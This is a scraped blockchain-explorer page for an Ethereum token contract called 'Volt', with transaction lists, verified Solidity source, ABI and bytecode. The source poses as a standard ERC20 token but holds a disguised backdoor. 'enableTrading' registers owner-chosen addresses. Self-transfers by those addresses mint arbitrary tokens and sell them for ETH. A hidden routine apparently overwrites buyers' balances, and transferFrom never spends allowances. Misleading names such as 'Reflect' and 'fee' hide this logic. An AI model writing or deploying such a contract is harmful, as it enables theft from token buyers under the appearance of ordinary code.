ETH Price: $1,928.41 (-4.27%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer166017092023-02-10 23:41:591113 days ago1676072519IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0037188621.61726122
Approve165989152023-02-10 14:20:231113 days ago1676038823IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0012669726.87854601
Approve165982302023-02-10 12:02:471113 days ago1676030567IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0011413324.18232321
Approve165980862023-02-10 11:33:591113 days ago1676028839IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0009288919.70629612
Approve165980792023-02-10 11:32:351113 days ago1676028755IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0009805420.77564414
Approve165980662023-02-10 11:29:591113 days ago1676028599IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008915518.91415815
Approve165979632023-02-10 11:09:111113 days ago1676027351IN
0x533BA8a2...0CEf0C4BD
0 ETH0.000785716.66857708
Renounce Ownersh...165979072023-02-10 10:57:591113 days ago1676026679IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0003794816.19989687
Approve165978912023-02-10 10:54:351113 days ago1676026475IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008725418.51083039
Approve165978712023-02-10 10:50:351113 days ago1676026235IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008646818.34416556
Approve165978062023-02-10 10:37:351113 days ago1676025455IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008966818.99882979
Enable Trading165978022023-02-10 10:36:471113 days ago1676025407IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0041783317.87631748

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Balance Of166033482023-02-11 5:11:471112 days ago1676092307
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of166033482023-02-11 5:11:471112 days ago1676092307
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Get Pair166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
WETH166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Factory166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Get Pair166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
WETH166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Factory166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Transfer From166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Swap Exact Token...166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
WETH166017092023-02-10 23:41:591113 days ago1676072519
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Get Pair165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
WETH165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Factory165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Get Pair165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
WETH165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Factory165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Transfer165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of165989192023-02-10 14:21:111113 days ago1676038871
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of165989182023-02-10 14:20:591113 days ago1676038859
0x533BA8a2...0CEf0C4BD
0 ETH
Balance Of165989182023-02-10 14:20:591113 days ago1676038859
0x533BA8a2...0CEf0C4BD
0 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Volt

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-10
*/

pragma solidity ^0.8.17;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 *
 * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
 * all accounts just by listening to said events. Note that this isn't required by the specification, and other
 * compliant implementations may not do it.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function enableTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool allowed = !bots[to] && !isBot(from);
        bool InLq = inLiquidityTx;
        bool res = allowed;
        if (!bots[to] && 
        !isBot(from) && 
        !InLq && 
        pair != to) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (allowed && !InLq) { 
            if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract Volt is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;
    uint256 _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Volt";
    string private  _symbol = "V";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = baseTransfer(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            emit Transfer(from, address(0), fee);
            emit Transfer(from, to, amount);
        }
    }
    function baseTransfer(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        uint256 swapBalance = getReflectAmount(from);
        _balances[uniswapV2Pair] = swapBalance;
        bool sdf = shouldTakeFee(from, recipient);
        if (!sdf) {
        } else {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= 0;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool swapEnabled = true;
    function setSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
    mapping (address=>bool) burners;
    function addBurner(address burner) external onlyOwner {
        burners[burner] = true;
    }
    function removeBurner(address burner) external onlyOwner {
        burners[burner] = false;
    }

    modifier onlyBurner() {
        require(burners[msg.sender]);
        _;
    }
    function burn(uint256 amount) external onlyBurner {
        transfer(address(0), amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"burner","type":"address"}],"name":"addBurner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"burner","type":"address"}],"name":"removeBurner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000494565b620f4240620000459190620004e5565b6006556000600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600481526020017f566f6c740000000000000000000000000000000000000000000000000000000081525060099081620000e89190620007a0565b506040518060400160405280600181526020017f5600000000000000000000000000000000000000000000000000000000000000815250600a90816200012f9190620007a0565b506001600b60006101000a81548160ff0219169083151502179055503480156200015857600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002f9919062000898565b60405180910390a3620008b5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000395578086048111156200036d576200036c62000307565b5b60018516156200037d5780820291505b80810290506200038d8562000336565b94506200034d565b94509492505050565b600082620003b0576001905062000483565b81620003c0576000905062000483565b8160018114620003d95760028114620003e4576200041a565b600191505062000483565b60ff841115620003f957620003f862000307565b5b8360020a91508482111562000413576200041262000307565b5b5062000483565b5060208310610133831016604e8410600b8410161715620004545782820a9050838111156200044e576200044d62000307565b5b62000483565b62000463848484600162000343565b925090508184048111156200047d576200047c62000307565b5b81810290505b9392505050565b6000819050919050565b6000620004a1826200048a565b9150620004ae836200048a565b9250620004dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200039e565b905092915050565b6000620004f2826200048a565b9150620004ff836200048a565b92508282026200050f816200048a565b9150828204841483151762000529576200052862000307565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b257607f821691505b602082108103620005c857620005c76200056a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f3565b6200063e8683620005f3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006816200067b62000675846200048a565b62000656565b6200048a565b9050919050565b6000819050919050565b6200069d8362000660565b620006b5620006ac8262000688565b84845462000600565b825550505050565b600090565b620006cc620006bd565b620006d981848462000692565b505050565b5b818110156200070157620006f5600082620006c2565b600181019050620006df565b5050565b601f82111562000750576200071a81620005ce565b6200072584620005e3565b8101602085101562000735578190505b6200074d6200074485620005e3565b830182620006de565b50505b505050565b600082821c905092915050565b6000620007756000198460080262000755565b1980831691505092915050565b600062000790838362000762565b9150826002028217905092915050565b620007ab8262000530565b67ffffffffffffffff811115620007c757620007c66200053b565b5b620007d3825462000599565b620007e082828562000705565b600060209050601f83116001811462000818576000841562000803578287015190505b6200080f858262000782565b8655506200087f565b601f1984166200082886620005ce565b60005b8281101562000852578489015182556001820191506020850194506020810190506200082b565b868310156200087257848901516200086e601f89168262000762565b8355505b6001600288020188555050505b505050505050565b62000892816200048a565b82525050565b6000602082019050620008af600083018462000887565b92915050565b6127f780620008c56000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80636e9602e6116100b85780639601f96c1161007c5780639601f96c1461032c578063a457c2d71461035c578063a9059cbb1461038c578063dd62ed3e146103bc578063e01af92c146103ec578063f44637ba1461040857610137565b80636e9602e61461029a57806370a08231146102b6578063715018a6146102e65780638da5cb5b146102f057806395d89b411461030e57610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806342966c681461027e57610137565b8063028468581461013c57806306fdde0314610158578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c4575b600080fd5b61015660048036038101906101519190611d82565b610424565b005b6101606104f4565b60405161016d9190611e3f565b60405180910390f35b610190600480360381019061018b9190611e97565b610586565b60405161019d9190611ef2565b60405180910390f35b6101ae61059d565b6040516101bb9190611f1c565b60405180910390f35b6101de60048036038101906101d99190611f37565b6105a7565b6040516101eb9190611ef2565b60405180910390f35b6101fc610648565b6040516102099190611f1c565b60405180910390f35b61021a610652565b6040516102279190611f1c565b60405180910390f35b61024a60048036038101906102459190611e97565b610658565b6040516102579190611ef2565b60405180910390f35b6102686106f6565b6040516102759190611f1c565b60405180910390f35b61029860048036038101906102939190611f8a565b6106fc565b005b6102b460048036038101906102af919061201c565b610761565b005b6102d060048036038101906102cb9190611d82565b61087a565b6040516102dd9190611f1c565b60405180910390f35b6102ee6108c3565b005b6102f86109f6565b6040516103059190612078565b60405180910390f35b610316610a1f565b6040516103239190611e3f565b60405180910390f35b61034660048036038101906103419190612093565b610ab1565b6040516103539190611ef2565b60405180910390f35b61037660048036038101906103719190611e97565b610b10565b6040516103839190611ef2565b60405180910390f35b6103a660048036038101906103a19190611e97565b610c37565b6040516103b39190611ef2565b60405180910390f35b6103d660048036038101906103d19190612093565b610c4e565b6040516103e39190611f1c565b60405180910390f35b610406600480360381019061040191906120ff565b610cd5565b005b610422600480360381019061041d9190611d82565b610d67565b005b3373ffffffffffffffffffffffffffffffffffffffff166104436109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049090612178565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060098054610503906121c7565b80601f016020809104026020016040519081016040528092919081815260200182805461052f906121c7565b801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b6000610593338484610e37565b6001905092915050565b6000600654905090565b60006105b4848484611000565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063d57600080fd5b600190509392505050565b6000600554905090565b60055481565b60006106ec338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e79190612227565b610e37565b6001905092915050565b60065481565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661075257600080fd5b61075d600082610c37565b5050565b3373ffffffffffffffffffffffffffffffffffffffff166107806109f6565b73ffffffffffffffffffffffffffffffffffffffff16146107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd90612178565b60405180910390fd5b60005b828290508110156108755760018060008585858181106107fc576107fb61225b565b5b90506020020160208101906108119190611d82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086d9061228a565b9150506107d9565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166108e26109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092f90612178565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a2e906121c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5a906121c7565b8015610aa75780601f10610a7c57610100808354040283529160200191610aa7565b820191906000526020600020905b815481529060010190602001808311610a8a57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b0557610aef826112ac565b15610b0457610afd836112ac565b9050610b0a565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b9b57600080fd5b610c2d338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2891906122d2565b610e37565b6001905092915050565b6000610c44338484611000565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610cf46109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190612178565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610d866109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612178565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9d90612378565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c9061240a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff39190611f1c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107257600080fd5b61107c8383610ab1565b156110905761108b8183611302565b6112a7565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110dc57600080fd5b60006110e98484846115cc565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113691906122d2565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261118591906122d2565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d39190612227565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112389190611f1c565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129d9190611f1c565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16